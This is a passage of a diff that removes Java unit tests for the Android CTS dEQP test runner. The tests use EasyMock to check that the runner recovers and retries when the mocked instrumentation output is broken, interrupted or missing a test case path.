-        ITestDevice mockDevice = orderedControl.createMock(ITestDevice.class);
-        IDevice mockIDevice = orderedControl.createMock(IDevice.class);
-
-        DeqpTestRunner.IRecovery mockRecovery = EasyMock.createMock(DeqpTestRunner.IRecovery.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRecovery(mockRecovery);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        mockRecovery.onExecutionProgressed();
-        EasyMock.expectLastCall().atLeastOnce();
-
-        mockRecovery.setDevice(mockDevice);
-        EasyMock.expectLastCall().atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        // query config
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config and fail
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerBroken);
-
-        mockRecovery.recoverComLinkKilled();
-        EasyMock.expectLastCall().once();
-
-        // Re-try
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerOk);
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        // test1
-        mockListener.testStarted(EasyMock.eq(testIds[0]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[0]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        orderedControl.replay();
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRecovery);
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        orderedControl.verify();
-        EasyMock.verify(mockRecovery);
-    }
-
-    public void testRun_resultEventTypeMissing() throws Exception {
-        final String instrumentationAnswerOk =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test1\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-
-        final String instrumentationAnswerBroken =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test1\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n";
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.instances", "test1"),
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.instances.test1",
-        };
-
-        Map<String,String> config = new HashMap<>();
-        config.put("glconfig", "rgba8888d24s8");
-        config.put("rotation", "unspecified");
-        config.put("surfacetype", "window");
-
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        instances.put(testIds[0], new ArrayList<Map<String,String>>());
-        instances.get(testIds[0]).add(config);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-        }
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IMocksControl orderedControl = EasyMock.createStrictControl();
-        ITestDevice mockDevice = orderedControl.createMock(ITestDevice.class);
-        IDevice mockIDevice = orderedControl.createMock(IDevice.class);
-
-        DeqpTestRunner.IRecovery mockRecovery = EasyMock.createMock(DeqpTestRunner.IRecovery.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRecovery(mockRecovery);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        mockRecovery.onExecutionProgressed();
-        EasyMock.expectLastCall().atLeastOnce();
-
-        mockRecovery.setDevice(mockDevice);
-        EasyMock.expectLastCall().atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        // query config
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config and fail
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerBroken);
-
-        mockRecovery.recoverComLinkKilled();
-        EasyMock.expectLastCall().once();
-
-        // Re-try
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerOk);
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 1);
-        EasyMock.expectLastCall().once();
-
-        // test1
-        mockListener.testStarted(EasyMock.eq(testIds[0]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[0]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        orderedControl.replay();
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRecovery);
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        orderedControl.verify();
-        EasyMock.verify(mockRecovery);
-    }
-
-    /**
-     * Test handling of interrupted line in the instrumentation output
-     * and recovery from the error.
-     */
-    public void testRun_testCasePathInterrupted() throws Exception {
-        final String instrumentationAnswerOk1 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test1\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerOk2 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test2\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerBroken =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePat";
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.instances", "test1"),
-                new TestIdentifier("dEQP-GLES3.instances", "test2"),
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.instances.test1",
-                "dEQP-GLES3.instances.test2",
-        };
-
-        Map<String,String> config = new HashMap<>();
-        config.put("glconfig", "rgba8888d24s8");
-        config.put("rotation", "unspecified");
-        config.put("surfacetype", "window");
-
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        instances.put(testIds[0], new ArrayList<Map<String,String>>());
-        instances.get(testIds[0]).add(config);
-        instances.put(testIds[1], new ArrayList<Map<String,String>>());
-        instances.get(testIds[1]).add(config);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-        }
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IMocksControl orderedControl = EasyMock.createStrictControl();
-        ITestDevice mockDevice = orderedControl.createMock(ITestDevice.class);
-        IDevice mockIDevice = orderedControl.createMock(IDevice.class);
-
-        DeqpTestRunner.IRecovery mockRecovery = EasyMock.createMock(DeqpTestRunner.IRecovery.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRecovery(mockRecovery);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        mockRecovery.onExecutionProgressed();
-        EasyMock.expectLastCall().atLeastOnce();
-
-        mockRecovery.setDevice(mockDevice);
-        EasyMock.expectLastCall().atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        // query config
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config and fail
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1,test2}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerBroken);
-
-        mockRecovery.recoverComLinkKilled();
-        EasyMock.expectLastCall().once();
-
-        // Re-try
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerOk1);
-
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test2}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
-                + " --deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-log-images=disable "
-                + "--deqp-watchdog=enable", instrumentationAnswerOk2);
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG)))
-                .andReturn("").once();
-
-        mockListener.testRunStarted(ID, 2);
-        EasyMock.expectLastCall().once();
-
-        // test1
-        mockListener.testStarted(EasyMock.eq(testIds[0]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[0]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        // test2
-        mockListener.testStarted(EasyMock.eq(testIds[1]));
-        EasyMock.expectLastCall().once();
-
-        mockListener.testEnded(EasyMock.eq(testIds[1]), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        mockListener.testRunEnded(EasyMock.anyLong(), EasyMock.<Map<String, String>>notNull());
-        EasyMock.expectLastCall().once();
-
-        orderedControl.replay();
-        EasyMock.replay(mockListener);
-        EasyMock.replay(mockRecovery);
-        deqpTest.run(mockListener);
-
-        EasyMock.verify(mockListener);
-        orderedControl.verify();
-        EasyMock.verify(mockRecovery);
-    }
-
-    /**
-     * Test handling of interrupted line in the instrumentation output
-     * and recovery from the error.
-     */
-    public void testRun_testCasePathMissing() throws Exception {
-        final String instrumentationAnswerOk1 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test1\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerOk2 =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-BeginTestCase-TestCasePath=dEQP-GLES3.instances.test2\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Code=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-TestCaseResult-Details=Pass\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=TestCaseResult\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndTestCase\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=EndSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_CODE: 0\r\n";
-        final String instrumentationAnswerBroken =
-                "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=2014.x\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=releaseId\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=0xcafebabe\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Name=targetName\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=SessionInfo\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-SessionInfo-Value=android\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginSession\r\n"
-                + "INSTRUMENTATION_STATUS_CODE: 0\r\n"
-                + "INSTRUMENTATION_STATUS: dEQP-EventType=BeginTestCase\r\n";
-
-
-        final TestIdentifier[] testIds = {
-                new TestIdentifier("dEQP-GLES3.instances", "test1"),
-                new TestIdentifier("dEQP-GLES3.instances", "test2"),
-        };
-
-        final String[] testPaths = {
-                "dEQP-GLES3.instances.test1",
-                "dEQP-GLES3.instances.test2",
-        };
-
-        Map<String,String> config = new HashMap<>();
-        config.put("glconfig", "rgba8888d24s8");
-        config.put("rotation", "unspecified");
-        config.put("surfacetype", "window");
-
-        Map<TestIdentifier, List<Map<String, String>>> instances = new HashMap<>();
-
-        instances.put(testIds[0], new ArrayList<Map<String,String>>());
-        instances.get(testIds[0]).add(config);
-        instances.put(testIds[1], new ArrayList<Map<String,String>>());
-        instances.get(testIds[1]).add(config);
-
-        Collection<TestIdentifier> tests = new ArrayList<TestIdentifier>();
-        for (TestIdentifier id : testIds) {
-            tests.add(id);
-        }
-
-        ITestInvocationListener mockListener
-                = EasyMock.createStrictMock(ITestInvocationListener.class);
-        IMocksControl orderedControl = EasyMock.createStrictControl();
-        ITestDevice mockDevice = orderedControl.createMock(ITestDevice.class);
-        IDevice mockIDevice = orderedControl.createMock(IDevice.class);
-
-        DeqpTestRunner.IRecovery mockRecovery = EasyMock.createMock(DeqpTestRunner.IRecovery.class);
-
-        DeqpTestRunner deqpTest = new DeqpTestRunner(NAME, NAME, tests, instances);
-        deqpTest.setAbi(UnitTests.ABI);
-        deqpTest.setDevice(mockDevice);
-        deqpTest.setBuildHelper(new StubCtsBuildHelper());
-        deqpTest.setRecovery(mockRecovery);
-
-        int version = 3 << 16;
-        EasyMock.expect(mockDevice.getProperty("ro.opengles.version"))
-                .andReturn(Integer.toString(version)).atLeastOnce();
-
-        mockRecovery.onExecutionProgressed();
-        EasyMock.expectLastCall().atLeastOnce();
-
-        mockRecovery.setDevice(mockDevice);
-        EasyMock.expectLastCall().atLeastOnce();
-
-        EasyMock.expect(mockDevice.uninstallPackage(EasyMock.eq(DEQP_ONDEVICE_PKG))).
-            andReturn("").once();
-
-        EasyMock.expect(mockDevice.installPackage(EasyMock.<File>anyObject(),
-                EasyMock.eq(true),
-                EasyMock.eq(AbiUtils.createAbiFlag(UnitTests.ABI.getName())))).andReturn(null)
-                .once();
-
-        // query config
-        expectRenderConfigQueryAndReturn(mockDevice,
-                "--deqp-gl-config-name=rgba8888d24s8 "
-                + "--deqp-screen-rotation=unspecified "
-                + "--deqp-surface-type=window "
-                + "--deqp-gl-major-version=3 "
-                + "--deqp-gl-minor-version=0", "Yes");
-
-        // run config and fail
-        runInstrumentationLineAndAnswer(mockDevice, mockIDevice,
-                "{dEQP-GLES3{instances{test1,test2}}}",
-                "--deqp-caselist-file=" + CASE_LIST_FILE_NAME
